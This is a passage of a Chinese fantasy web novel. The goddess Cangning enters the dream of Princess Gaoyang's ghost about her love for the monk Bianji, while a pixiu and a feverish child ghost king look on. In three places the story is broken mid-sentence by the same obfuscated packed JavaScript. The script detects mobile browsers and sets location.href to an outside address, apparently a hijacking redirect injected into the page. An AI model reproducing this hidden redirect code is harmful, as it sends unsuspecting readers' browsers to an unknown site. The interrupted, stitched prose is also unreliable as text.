她先是吃了几颗水灵灵的葡萄,紧接着,宫女们发现葡萄忽然被吃完了,张皇地打量着对方,想从对方的嘴巴里套出一点证据来。 可惜她们无论如何都不会知晓苍宁的存在,就像她们没有办法知晓李漱为何不醒来。 苍宁对这场无声的闹剧很满意。几乎在一瞬间,她闭眼,神识探入李漱的身体之中,潜入了她的意识。 如果晏长书没有说假话,那么只要李漱愿意醒来,一切就会顺顺利利。 苍宁睁开眼的时候,有个小宫女正在拍她:“兰花,醒醒!公主喊你去。” 苍宁还没适应这个身份和角色,起身看了看铜镜——自己的脸倒是没变,可是穿得挺寒酸。不比天界织女赠予的丝绸。 现下正是子时前,她起身一瞧,正是在会昌寺里。高阳公主李漱等着她梳整发型,要去赴辨机的约。 李漱眉眼带笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030004|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在梳妆台上挑选着适合的簪子,苍宁这双根本不会绾头发的手,很识趣地捏了一个诀儿,绾好了发髻。 “你绾得真好,叫什么名儿?” 苍宁答道:“兰花。” 李漱低头含笑,末了,趁着未到子时,她一个人往前走着,苍宁拎着宫灯,远远在后面跟着。若不注意,没有人会发现远在阴影中的李漱。 苍宁这才明白,这场梦始于李漱去见辨机。她困在了自己的欣喜之中,困在了这段时间里。 一如已经是鬼身的她,无论如何都想要完成她的愿望,义无反顾地回到时间的洪流里。 可惜,一切都是假的。 这场梦里,没有作乱的晏长书,也没有取而代之的苍宁。 竹林中,他们热情相拥,反应要比苍宁演得激烈得多。 李漱笑容满面,不知为何说到最后哭泣起来,眼角的泪珠沾湿了衣襟。他们沿着竹林的小路往深处走。 曲径通幽处,逐渐看不清二人的身影,直到白光浮现—— 有个小宫女正在拍她:“兰花,醒醒!公主喊你去。” 苍宁眨了眨眼。 她一时之间不知道这算不算一种悲哀。 李漱想要的时光仅仅是这一小段。苍宁觉得,李漱大概期待了很久。 苍宁撑着宫灯,往前走,看见李漱的背影袅袅婷婷,叫住了她。 “公主,要不……别去了吧。” “为何?” “若有一日,您后悔了呢?” 李漱笑了一声:“本宫是公主,公主怎会后悔?” 如今这个说不后悔的是李漱,可从死亡后穿回来的,也是李漱。 苍宁又道:“若您后悔呢?” 李漱眯眸:“你好大的胆子。” “我只是想问问公主真正的想法。”昏黄的灯光照在苍宁脸庞上,没有表情,“若您后悔呢?” 李漱定定地看向她,随后,拂袖而去。 其实到这一步,苍宁已然知道晏长书没有说谎。 若李漱不愿意醒来,她只能强制将她唤醒。只是,她对加以时空的幻术并不熟悉,不知道能否一举成功。 等到第三次被宫女拍醒的时候,苍宁已经能够用自己的双手给李漱绾上一个看得过去的发髻了。 走在路上,苍宁问她:“公主,如果这一切只是个梦,是假的,你愿意醒来吗?” 李漱眯眸:“你好大的胆子。” 宫灯摇摇晃晃,绢面上的牡丹花鲜艳美丽,乱跳的烛火取代了牡丹花的花蕊。 昏黄的灯光下,苍宁微微一笑。 “公主,随我离开吧。” 也或是一瞬间,或是一刹那,苍宁的术法施展之前,一个巨大的卍字浮现在天空中,照亮了漆黑的天空,将人类映衬得如蝼蚁一般。 无数数不清的气息从四面八方扑面而来,随着要将整个幻术世界覆灭的卍字一起,把这里搅得天翻地覆。 狂风吹得苍宁睁不开眼。她扯住李漱的魂魄,不叫她随狂风被卷入卍字的漩涡。 她竭尽全力睁眼看过去,飞沙走石之间,照映整面夜空的卍字下,站着一个眼熟的小小身影。 “你……” 苍宁涩然开口。 是他。苍宁不会认错。 不是笨笨的小黑蛇晏长书,是那个无情的鬼王晏长书。 她在支离破碎的喧嚣中窥见了他的双眸。 赤青色的流火。 不灭的卍字。 随着手指自然舒展,手掌向外,中指与大拇指几欲贴合。 熟悉的结印与话语出现在她耳边。 “落。” 11. 第一桩事·七 若给苍宁再来一次的机会的话,她压根儿不会受天帝威胁,一时兴起接下这个任务。 苦啊,太苦了。 李漱从梦境醒来,已然把梦中的一切忘得一干而净。 人类的记性就是不怎么好。不仅容易被改变,自己相信之后也不会产生一丝怀疑。 神不一样。 苍宁记得刚刚发生的一切。 而神和人唯一的相似之处,是接下来都要面对“如此本就”的事实。 鬼身李漱坐在苍宁窗前的榻上,遥看远方。 貔大虎啧了一声,吸了口香火:“结束了?” 不是结束了,是不想继续了。李漱醒过来后反而加速了与辨机的感情,苍宁亲眼看见李漱和辨机相拥,恰如阳光与花朵的相拥。 苍宁坐在椅子上,双腿交叉,对李漱说:“你知道自己不会后悔的,对吧。” 苍宁甚至没有带上任何疑问的语气。 “虽然我不知道你凭借什么转换时空而来,但像你这样固执的人,每个阶段都会是固执的,你很清楚这一点,对吧。” 李漱安安静静地坐着,没有回话。 苍宁:“所以你奢求旁人来改变你。但是,这是不可能的。” 李漱终于涩然开口:“为何不可能。” “对于这个时间线的你而言,旁人所谓的‘将来’也只是一面之词罢了。”苍宁又道,“你已经死了,这是无法改变的事实。你不是从未来回来改变这一切的,你只是眼睁睁看着这一切被证实,最终,你只是接受你已经死去的事实。” 貔大虎猛吸一口香火,烟圈袅袅,升起一个有一个变形的,轻飘飘的圆。 苍宁:“现在还不算晚,去投胎吧。” “您和我说的那些条件,都不做数了吗?” 苍宁:难道还要说出来……她不让晏长书再食鬼气这个决定吗? “不。” 李漱猛地抬头:“我想……最后见他一面。” 苍宁:“如何见?” “我,现在的我,真正地与他相见。”李漱说,“只是这个条件也可以。我会遵守最后的约定。” 苍宁沉思半刻,点点头:“好。今夜子时,我会带你去会昌寺。” 李漱再度进入了貔大虎的长烟斗中。 有良心的商人刚把将烟斗别在腰上:“金子结算一下。” 苍宁掐住了他尾巴上的鬃毛。 貔大虎噫得一声,想甩掉尾巴上的手,一个抬步却径直从空中掉了下来,任由苍宁拎着他的尾巴做支点,整个身子在空中摇摇晃晃。 貔大虎气红了脸:“你干什么!” 苍宁阴气森森地问:“你到底从哪把李漱带过来的?” “我都说了是她找上门的。” “这种鬼话我会相信吗?凭空怎么找上你?你平常不都是假装成各个寺庙门口的石狮子,攫取香火,偷偷啃寺庙顶上的金子吗?” “瑞、瑞兽的事情,怎么能叫偷呢!”貔大虎急忙地甩开尾巴,大声否认。 那形如虎豹,龙状尾巴,亦金亦玉的身子灵动跳跃,翻腾到空中,怒目道:“是本大爷带来的金子,不是有金子才有本大爷!每个人看见本大爷都开心得不得了好不好!” 苍宁拍拍手:“我的大爷啊,干嘛提到金子就激动。喏,给你两块金饼子填填肚子。” 金饼子跳动着令貔貅迷醉的光芒,写满了不容拒绝四个字。 貔大虎啃了一口,认证道:“好金子,是神界的金子。” “是晏长书的金子。” 貔大虎啃得不亦乐乎。 苍宁:“吃饱了就说说李漱是怎么来的,剩下的金子我会给你。” 貔大虎噎住了,猛地敲了敲自己如金似玉的胸脯:“这种时空错乱的现象,哪里是现在才有的,好早先就窜来几个百年后的冤鬼,神界一直有派人去管理,只不过你不执行这些任务罢了。你要真想知道,搁神界一问不就知道了。” 苍宁笑道:“行。” “那小鬼呢?” “躺着呢。”苍宁状似不经意地问,“按说你满世界跑,对晏长书有没有了解?” 貔大虎含含糊糊道:“没有没有。” “说没有就有点假了吧。” “你才假好不好,”貔大虎忍不住瞥了她一眼,“晏长书不是你的夫君吗,我可没和他拜过天地,吃合卺酒。” “你这样讲有失偏颇。” “哪里偏颇了?哦,难道神鬼两界的大婚是假的,大家的眼睛都瞎了,耳朵也聋了哦。” 肯啃啃,嚼嚼嚼。某只貔貅已经快乐得上天,尾巴尖都在打卷。 苍宁静静地盯着他,饶是沉浸在啃金子里的快感的貔大虎也迟钝地察觉到了不对劲。 苍宁皮笑肉不笑道:“你可以先滚了。” - 有关别人的事情,苍宁从来都无意了解。 所以辨机和李漱的事情,她也没兴趣了解。 有很多人说过她冷清冷血,也有很多神仙评价过她没心没肺。 她只为自己的兴趣做事,或者说,为一些一时兴起和虚无缥缈的责任感做事。这样的后果是,她对自己不感兴趣的东西一无所知。 这个东西,包括晏长书。 所以,哪怕她和晏长书曾拜过天地,吃过合卺酒,她也可以保持对晏长书一无所知。 而一无所知,自然也包括现在把桃枝急得团团转的状况: 晏长书浑身发热,进入了昏迷状态。 “前辈,你终于来了!” “大惊小怪什么。” 苍宁坐在床边,伸手探了探晏长书的额头。滚烫的温度像是烧开了的沸水,极速传递到了自己的手心。 晏长书脸颊通红,急促呼吸着,小小的身体似乎是因为眸中痛苦和刺激蜷缩着,背后出了一层冷汗。 苍宁转而撑开他的眼睛,凑上去看了眼。 没卍字。 刚刚在李漱的梦里,巨物般的卍字散发的光辉铺天盖地,这说明晏长书仍然继承着从前的能力。 可他会发热,许是身躯过于年幼,还不足以承受这一份强大能力的缘故。 苍宁的手缓缓下移,落到了晏长书的脖颈上。 细嫩的脖颈犹如嫩荷根茎,急促鼓动的脉搏显露仓皇紊乱之状。只要苍宁微微用力,晏长书这具肉身就会再度死去。 苍宁能感受到他身体里那颗魄丹同样在发热。待这具肉身死去,她不会再犯同样的错误。她会封印他的魄丹,让他徘徊在阴冷的鬼界,永远不得见高天上的太阳。 …… 见她静默了很久,桃枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030005|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心翼翼地问:“前辈,现在人间都是把脖子脉吗?” 苍宁的思绪被他唤回,指尖摩挲着幼嫩的脖颈。晏长书似乎有所感知,轻轻回蹭了一下她。 就在这一个小小的瞬间,苍宁慢吞吞地收回了手。 “你多拿几床被子来。再点个火盆。” “欸,好嘞。” 桃枝吭哧吭哧拿来了四床被褥,全都是崭新的。苍宁选了两条被褥,盖在晏长书身上,将被角捂紧了,不让风透进来。 桃枝很快升起一个火盆,就在床不远处,背风的窗户支开了一个小角,用来透气。 桃枝擦了擦额头上的汗珠:“前辈,这样成吗?他、他该不会热死吧。” “应该不会吧。” “应该……吗?” 此时,被褥中的晏长书忽然不见了。苍宁轻轻拉开被褥一看,一条没什么精神的,相较半条手臂上的小黑蛇蜷成了蚊香。 它把小脑袋搁在自己的急促呼吸的身体上,拨他的尾巴都不动弹。看来的确是病倒了。 桃枝睁大了眼:“这就是鬼王?!” 怎么说? 苍宁很想说,梦里那个随时用卍字毁天灭地的才是晏长书。 可是她垂头看着这个小玩意儿,却也不得不承认,这也是晏长书。 她不了解的晏长书。但仔细想想,她也根本没怎么了解过“晏长书”这个人。 “蛇挺怕冷的。给两床被子维持温度,没准儿就好了。”苍宁微微勾了勾笑,“他都能诈尸,哪有那么容易死。你别给我看笑话了,聒噪。” 桃枝:“啊……我不知道,我是人。” “你是人?” 桃枝点点头:“我是修仙上来的,前辈。” “那你的爹娘?” “去看过,早死了。”桃枝说,“他们生前是良善之人,想必之后也过得很好。” “再无联系了?” “是啊。” 苍宁点点头:“要是晏长书也这样就好了。” 眼前,安安静静,乖乖巧巧的小黑蛇人畜无害地趴着, “前辈,我是晚辈,道听途说了一些故事,你不要生气哈。”桃枝神秘兮兮地问,“前辈真的很恨晏长书吗?” “不恨。” “那前辈怎么杀了他?” 苍宁觉得他问了一个很奇怪的问题。她眉头一皱,不解笑道:“我不恨他,我只是杀了他而已。” 桃枝撑圆了嘴巴,有点不敢相信。 这个观点对一个家庭美满,健康乐观,一身正气的少年来说,还是有点超纲了。 桃枝挑眉:“你对他没有情绪吗?” “倒是有。如果他能直接长大,我就能少点歪歪绕绕的虚伪。” 桃枝:“?” “你竟然不觉得?你相信他可以变成天帝所期望的那样?” “前辈,我们在做的一切,不就是为了那个期望,那个目的吗?” “是啊。”苍宁替晏长书盖好被褥,“可只要他是晏长书,我就不相信这一切会改变。这不是我的努力决定的,是他的身份决定了本该如此。” “可你说过,你并不恨他啊……” “我用不着恨他,只要他是鬼王,便足够了。” 苍宁耸了耸肩膀,满不在乎地回答。 12. 第一桩事·八 苍宁的需求变得很快。眼下,育儿心经俨然失去了作用,她更需要的是养蛇宝典。 小黑蛇蜷在被窝里几个时辰了,一动不动,桃枝时常怀疑他是不是死了。每每上前查探,总是蹑手蹑脚,小心翼翼。 苍宁懒懒伸手去探,摸到小蛇冰凉的蛇尾。他光滑的鳞片微微张开,蛇身随着呼吸一起一伏,小脑袋动了动,躲开了苍宁的手。 苍宁的手有点冰,他大约不是很喜欢。 被窝被掀起来,虽然满足了苍宁和桃枝的好奇,但是迷茫的小黑蛇显然不满意。他蜿蜒的蛇身慢慢从蚊香状缓慢拉成长条,像是被拉长的时间,悠悠地、缓缓地,找到了一个满意的取暖之处——苍宁的衣摆里。 晏长书毕竟还处于发热状态,苍宁不觉得冷,不过被蛇缠住的感觉有点怪,她换了个姿势,虚弱的蛇蛇没爬稳,倏得一下掉到床上,黑豆大的眼睛传来的视线仿佛凝固了,一瞬不瞬地看着苍宁,吐了吐蛇信子。看上去……威胁力等于零。 呆。 很呆。 幼年小黑蛇让苍宁忍不住笑了一下。 这蛇的表情实在是太傻了。 桃枝哇哇叫道:“前辈,小鬼王要被你摔死了!” “祸害遗千年。” “这是我的事业!我的一切!” “闭嘴,烦死了。” 小黑蛇扭了扭身子,矢志不渝地往苍宁的方向爬,这一次换了一条路线,不再钻进苍宁的衣摆里,转而沿着她的手臂,哼哧哼哧爬到了她的肩膀上。 虽然小黑蛇被苍宁的头发阻挡了路程,但没有放弃,穿过去绕在了苍宁的脖颈上。 真会找地方。 不过这样一来,苍宁也能够很清晰地感知到他的体温和状态。 小黑蛇先是碰了碰她饱满的耳垂,随后低下头,小脑袋垂下来,搁在苍宁的锁骨上。 蛇,烫烫的。笨笨的。 苍宁摸了摸他的脑袋,那家伙没有动,感觉又睡了。 桃枝说:“前辈,我先走啦。” “很忙?” 桃枝看了看他们,忙点头:“我可忙啊,前辈。” “也行,你把东西收一收,我们不日回神界。” “啊?!那那那小鬼王怎么办?” 晏长书这个发展,还是丢到神界让别人管,她才能自在逍遥。真是不知道人类是靠什么样的觉悟在养崽子的。 “就按我说的办。” 就算她想一出是一出,也得照做,也得办。 小黑蛇拱了拱脑袋。 他换了个方向,尾巴轻轻缠到苍宁的脖颈上。 - 晏长书在苍宁的印象中是个无情的人。 虽然这么说,会引来旁人的嗤笑,认为苍宁的没心没肺和晏长书的无情并无二致,但是苍宁还是认为,她和晏长书不一样。 打个比方说,面对晏长书这样的人,苍宁会选择暂且留他一面。 可是鬼王面对那些个良善鬼,是一手捏爆一个,从没有同情和心慈手软。 她曾亲眼看过这样的场景。哪怕他戴着黄金敷面,她也能够知道他定然是面无表情。那一刻她认同了神界的观点——晏长书非死不可。 苍宁撑着自己的下巴,手中拿来打发时间的书长久地停留在同一页。 她的寿命长而无望,可是仅仅两百年前的事情,她居然没什么印象了。 时间随着烛火慢慢融化,待到窗外圆月高升,她丢下了烦人的书。 人间的昼夜轮转得太快,和苍宁的耐心一样令人不安。 貔大虎准时出现,他两脚着地,抱着手,和人一样站立着,毛茸茸的鬃毛翘起来,不至于落到地上,沾上令他不爽的灰尘。 “哟。” 啃完好金子的貔大虎明显精神奕奕,他炯炯有神的金灿灿的眼珠子瞅了眼苍宁:“浮生一日,你和这家伙感情这么好了。嗯?” 他凑近瞧道:“怎么病恹恹的。” “他要死了。”苍宁随口说,“都是你害的。” 貔大虎一副自尊收到侵犯的模样,振振有词道:“我可是瑞兽!从来都是带福报来的!世界上没有任何一个人,任何一样东西会受到我的伤害!” “瑞兽的自尊心挺强哈。” “你还不是一样。”貔大虎瞥她,“你们青鸾族不是很爱好和平吗。” 苍宁懒懒散散地哼了一声。 子时将至,坊内再度安静下来,隐隐传来小心火烛的提醒声。 小黑蛇睡得迷迷糊糊,仍旧不是正常的体温,被苍宁放进被褥里,埋头继续睡过去。 这里到会昌寺不过刹那的事。 苍宁和貔大虎隐去身形,慢慢走在雪地之中。 雪地上并未留下脚印。 “一次性搞完,搞快点。”苍宁下了命令,“有什么不对劲的,立刻把她收回你的法器里。” “哼哼。”瑞兽用鼻孔嗤气。 貔大虎将鬼身李漱放出来。苍宁端详她半晌,开口道:“看来,若是不同我们做交易,你也撑不了多久了啊。” 李漱的下半身渐渐透明,看上去也不如当初精神了。在鬼身不够强大的情况下,与瑞兽和神仙直接接触,必定会导致鬼气流散。 李漱看见已在会昌寺内,淡淡道:“大人不必担心。” 苍宁点头:“辨机法师所处必然有佛光,我可以保你鬼身不散,但你是鬼身,必然受到佛光灼烧。” 李漱皱眉:“那该如何是好?” “我会为你们两个搭建一场幻梦。你们决定梦的内容。不过……一旦你们深陷进去,我便会摧毁这个幻术,明白吗?” 李漱咬唇,点点头。 “尽量搞快点。”苍宁说。她还要回家养蛇。 一切要给李漱交代的都交代完了。 苍宁渡雪而行,寺庙的惊鸟铃铃铃作响,辨机打开门,往苍宁处一瞥,只能看见一只青色的小鸟扑腾着翅膀,踏雪而来。 辨机会心一笑,将门前雪扫干净,坐回室内看书。 房屋中的光干净而温暖,鬼身李漱同他们三人静静地站在雪地里看着,美眸中的光有一瞬间的闪烁。 “你准备好了吗?” 李漱点点头。 苍宁眸中淌出赤青色。也许是短短一瞬,又或许是过了几天、几辈子那么长,天地事物都被拉扯到同一个像漩涡般的卍字之中。轻微的反胃感出现之后,周围的环境全然变化。 他们已经在幻术之中。 眼见那个赤青色漩涡最后消失在苍宁眼中,貔大虎站着吐了一地金子,奄奄一息地抬起头:“本大爷是瑞兽……” 苍宁:“你是不是其实只会说这一句话?” “瑞兽从没吃过这种苦。” “太好了,你同我吃点苦,也不枉来人间一遭。”苍宁说,“多吃点苦,兽生也会精彩很多。” 貔大虎扶着腰,又哇得吐了一地金子。 苍宁不动声色地说:“别告诉我,最后你要把吐的金子捡起来吃掉。” 貔貅吞金的癖好苍宁已经无力吐槽了。这家伙徒爪一捏,金子又成完整一块了。后面的部分苍宁别过了眼睛。 没眼看。 这里仍是夜。 幻觉支撑起来的世界看上去和真实世界毫无二致。苍宁喜欢用晏长书的这份能力的原因,就是因为足够方便,足够真实,领域足够大,不费吹灰之力。 貔大虎还在喋喋不休为何他们也要进入幻术世界中,但很快就被里面的真实折服。 在连着吃喝玩乐一条龙之后,苍宁找到李漱所在处,赫然发觉,李漱和辨机在交谈。 李漱在和他分别。 把所有未来的感受说出来,祈愿他能够按照自己说的去做。 祈愿未来会如自己想象中的轨道行走。 李漱百般口舌,辨机静静听她说,最后慢慢一笑,下了定论: “我在做梦。” “辨机,这不是梦!” “当然是。自认识你以来,你从未说过这样的话。” 李漱敛眸道:“这不是梦,这就是真实的,我和你不能再这样下去。倘若执迷不悟,我们都不会有好的结果。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030006|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辨机沉吟:“公主现在是在说,我执迷不悟吗?” 李漱神情动容:“是。” 他转过身,沉静道:“公主是要说,曾经的对,如今都是错吗?” 李漱别过眼,抿唇道:“……是。” 两人之间顿时一片死寂。 辨机转过身,轻轻问她:“那公主来告诉贫僧,什么是对,什么又是错。” 他沉如黑夜的眼眸氤氲着令人难以捉摸的沉寂,不知为何,看见这个眼神的时候,苍宁觉得有一种不易察觉的熟悉感。 李漱退后了一步,美眸流转:“我……我只要我们不再相见,永远都不要再见面。从此之后,你继续做你的得道高僧,我回到我的大明宫中,和我的夫君鹣鲽情深。我们之间的事情,全都一笔勾销。我们从没有在深夜中私会过,也没有许诺过什么。你那么聪明,一定知道事物消亡的原因:我对你的爱不在了,消失了,要我一个公主委曲求全,我做不到。” 他喉结上下滚动,目光仍旧宽厚而温柔:“你曾告诉我,你不爱你的夫君。” “那是假的。” “假的。”辨机咀嚼着两个字,问道,“你呢?” 李漱憋了一口气:“什么?” “贫僧方才说过,自从认识公主以来,公主从未说过这样的话。”辨机字字句句皆为真意,“也许贫僧眼前的公主,才是假的。” 辨机徐徐从容,李漱哀从中来,转而抛出了未来的景象:“你根本不明白。若我们再这样下去,明年你便会死于圣上的腰斩之下!” “未来之事,怎可尽知?” “我自未来告诫你,你却不听……”李漱拂袖道,“唉!” 她站在窗边默默拭泪,辨机走来,递给她一方锦帕,从她身后轻轻将她拥住。 辨机安抚性的拍着她,而她连连摇头,却不曾挣开。过了良久,他悄声说:“决心与公主在一起的刹那,我便已然接受了所有可能的结局,和一切责罚。” “我不想我们最后落得如此下场。” “我们?公主因为我而死去吗?” “不——”李漱摇头,“不是的。” 辨机轻声道:“那便好。”他宽慰她,“那么,公主回来应当告诫的是从前的自己,好叫自己更加如意。” 李漱不语。 “贫僧曾在佛祖前告罪,希望来世可以偿还。” “你心中不曾抛弃佛陀,又何罪之有。” 他笑了笑:“我曾视佛祖为心中唯一至高之物,如今看来,这念头早已不作数。若是再抛却公主,那便是罪上加罪,穷尽下一世也还不完了。” 话音刚落,李漱肩头微颤,眼眶的泪再度流了下来。 整个世界再度旋转,扭曲。 貔大虎用手拱了拱苍宁:“我的好大人,你怎么看?” 苍宁抱着手,嘴角都要撇到天上去了,相当无奈:“我不看好啊。” “啧,我怎么觉得挺感人的。” “梦境变化了,这预示什么?”苍宁说道,“说明李漱没有坚持住啊!她很快就要像之前一样被困在梦里了。一场毫无察觉地堕落。若她无法自己清醒过来,外力的破除就是加速送她去死罢了。” “再给她点时间吧。” “我现在是纯纯当好人,没半点收益。”苍宁再度摇摇头:“我真的不看好。” 貔大虎:“啧,你这样很物质啊。” 苍宁睨他一眼:“你这个专门吃金子的有什么资格说我物质?你吃的每一口都很物质好吧。” 貔大虎炸毛道:“本大爷是瑞兽!相信一切美好的事物!” 苍宁笑了一声。 貔大虎气着了,指责道:“你在这里真是没心没肺!” 苍宁耸肩,摊手道:“也不能这么说吧,我还是很善良的。你根本不懂我现在养着晏长书叫什么。” “……先婚后爱?” 貔大虎挑眉:“按神鬼两界的规矩,你们现在还算夫妻,对吧。” 苍宁眼睛一闭。 该死,她真的把这茬忘得一干二净了。 13. 第一桩事·九 但是这绝对不会叫先婚后爱。 环境的改变中,苍宁的脸也皱成一团:“什么先婚后爱。我不看好。” 貔大虎的脸扭成了花卷,叫嚣道:“你怎么不看好呢?” “我和晏长书之间哪里有爱?” 貔大虎还非和她杠上了,缩了缩下巴,斜眼道:“你怎么知道就没有,全天下听见的都是你把他杀了,你不喜欢他,我们可从没有听说过晏长书不喜欢你啊。” “他本来就不喜欢我啊。” “你怎么证明?” 苍宁也恼了,说道:“这种事情还需要证明吗??神经病吧你!” “我是瑞兽!” “那就是神兽病,现在好了,你开心了,皆大欢喜咯?” 一旦触碰到瑞兽的原则,貔大虎总是格外敏感。他为了自己瑞兽的尊严据理力争:“本来就是,本大爷哪里有说错?本大爷是瑞兽,瑞兽的感觉是最准的,从来不会出错!”他气急败坏以至于摇头晃脑,“我偏要说你们在搞先婚后爱,我非要看好你们,我就要期待你们皆大欢喜,到时候你还要求着本大爷,把晏长书那堆金子灌到本大爷嘴里说本大爷说的就是对,怎么样?” 听完这一段,苍宁嗤笑的脸都僵硬了。 默了半天,她上下打量了一下貔大虎阴阳怪气的嘴脸,发出一声哼笑:“诡计多端的吞金兽。随便你看好,反正永远都不会有这一天。” 两只兽谁也不乐意看谁,秉持着神界的契约精神没和对方打一架,只能残留着离谱的“先婚后爱”话题的影子旁观李漱和辨机的情感。 幻梦的环境改变之后,李漱最后一次提起离开,是在他们去往骊山之前。 那日远山青翠,烟雨朦胧。 李漱看着起雾的远方,向辨机说这是离开的好时机。 “现在离开的话,一切还有转机。” 他只是反问她,想要离开的那个人一定要是他吗? “不能是你的原因,是因为不会是你吗?”辨机淡淡地问,“如果这一切是梦,我猜测你知道让你自己回心转意是最难的,所以你企图改变我的认知。” 李漱:“未来……” “关于未来的事情,我已经说得很明白。”他看着眼前慢慢燃烧的香,眼前同样升起缭绕的雾,“我们之所以会在一起,就是因为我们都是知道了一切后果,却决定不改变的人。说到底,我和公主是一样的人。” 李漱的发上沾上雨珠,看着他笑了笑。随后,睫毛上也沾上了雾气带来的雨珠,那些细细小小的雨珠来得那么刚好,就像李漱从不曾哭过一样。 辨机走出遮雨的门廊,为她撑起伞。 她说:“我只是太遗憾了,辨机。我太自信了,”她哽咽了一下,“我知道事情有很多结果,好的,坏的,在结局没有到来之前,我也接受了一切结果。可是当它真的发生的时候,我发现我接受不了。于是我开始埋怨自己,是我没有做得更好,毕竟,我是一国的公主。我没有掌权的资格,难道连选择的权力都没有吗?我无法接受……所以当一切无可挽回的时候,我不由怀疑我的选择是错的。” “你并没有做错什么。” 她深吸了一口气,眼中淌着的不知道是雨还是雾:“你只是在宽慰我。你现在给我撑了一把伞,可是之后,你就会带着这把伞一起离开。” 辨机垂头看她:“你是公主,会有很多人愿意为你打伞。” “我不要那些虚伪之辈替本宫打伞!”李漱字字真切道,“我只要纠正过去的错误,我不要你只是短暂地来过人世。” “短暂?”辨机下意识笑了,温和平静道,“世间从不以寿命的长短来证明什么。若真的要论寿命,观宇宙之大,人之一生哪怕过了百年,又如何不短暂。与花、鸟、鱼、虫并无二致。我既得佛陀眷顾,得以诵译经文,又得公主眷顾,已经是福满之人。” “所以……”他说,“我并不会用我的寿命长短来衡量我的一生。” 李漱望向他,慢慢将头搁在他的肩头,呼出一口颤抖的气息。 “但愿你死前,不要后悔。” “如果我会,我应该在见你的第一面之后就后悔。” “真希望你可以忘记我,辨机。” 辨机摇摇头:“这一定是梦。” “是梦。” 辨机笑道:“如果是这样,我该早点醒来,告诉你在我死后不要做傻事。” 接下来的情意绵绵把貔大虎感动得一把金鼻涕。苍宁张开嘴巴震惊地看着他的反应,还觉得他在作戏:“你要不要这么夸张。” “真的……很感人吧……”貔大虎吸溜了下鼻涕,“啧,你真的很冷血无情,苍宁。” “我都不知道前因是什么,我感动什么啊。要是每个人都像你这样执行任务,大家全都靠眼泪完成好了。” 苍宁回头看着伞下的两人……背后的绿水青山,挑眉道:“景色还算不错吧。” 貔大虎嘴角下撇:“好好好,本大爷自己哭自己的。” 苍宁这会子想起他是瑞兽了:“你是瑞兽貔貅,你不会流眼泪。” 貔大虎:“……” 恰此时,李漱和辨机正在私语,幻梦再次迎来全新的变化。 山川四季,皆如梦中人的心愿。 这一次变化过后,李漱沉浸在了幻梦中。 这也是苍宁喜欢用晏长书这份能力的原因:没有任何一个人,可以逃过这场真实的幻梦。若想要走出来,只能倚靠梦中人真真切切的觉悟,或是天翻地覆的摧毁。 在一个无星的夏夜,李漱走在幽长的红墙边,回到了公主府。 昏黄的宫灯在宫女的手中摇摇曳曳,恍如世间最后一颗星星坠落在李漱的身边,散发着希望的柔光。 她的丈夫自阴影中走来,瞧见了她脸上的笑容。那是一种发自心底的喜悦,没有半点瑟缩在阴影中的困顿。 她很快乐。 “房大人。”李漱停下来,“好久不见。” “也没有很久。”她的丈夫含着一点若有似无的讽刺,“近些日子,公主殿下心情大好。” 看见他的反应,李漱情不自禁地笑起来。她的视线从高到低落在自己的丈夫身上,像是不由自主地施舍自己的怜悯。 “我确实很快乐,房大人。”婚姻的倒塌不过是她内心中一个执念的倒塌。那座压得她踹不过气的高塔轰然崩离之后,每一次逃出公主府,都让她离自由更近。 “殿下不该这样。” “不该什么样?”她几乎是下意识地回绝,“我很清楚我现在什么样,房大人,我很快乐。这种快乐不是你们任何一个人恩赐给我的,是我想要的。” “你就不怕最后……” “按道理说,我是该怕。”她轻轻巧巧地说着,眼中闪着光,“可真奇怪啊,我并不害怕。” 李漱与他擦身而过,身后那盏宫灯晃晃悠悠,跟了上来。 若说这一个小小的插曲足以证明李漱的想法,那么这场幻梦的结尾,想必就可以结束李漱跨越时空洪流的遗憾。 貔大虎说,辨机和李漱因为小偷偷走了辨机的一个玉枕而暴露。这个玉枕,乃是李漱赐给辨机的宫中之物。随后,辨机被处以腰斩而亡。这就是原本的故事。 而在这场幻梦中,辨机轻易解脱了牢狱之灾,一把火将公主府烧了个干净,换了一个身份,去做真正的李漱了。 梦中人心神的沉溺只在一瞬间。 至此,梦中人彻底沉醉于美梦。这是所谓的“梦想成真”,也是和现实的背道而驰。 苍宁不理解。李漱已经是梦境的主人,为何不将忤逆之人杀死,坐在权力的座椅上? 貔大虎吸着烟火,叹气道:“如果是你,会这么做吗?” 苍宁想了想:“……也许?” 貔大虎敲了敲烟杆子,说道:“那你可以劝她在现实中这么做。” 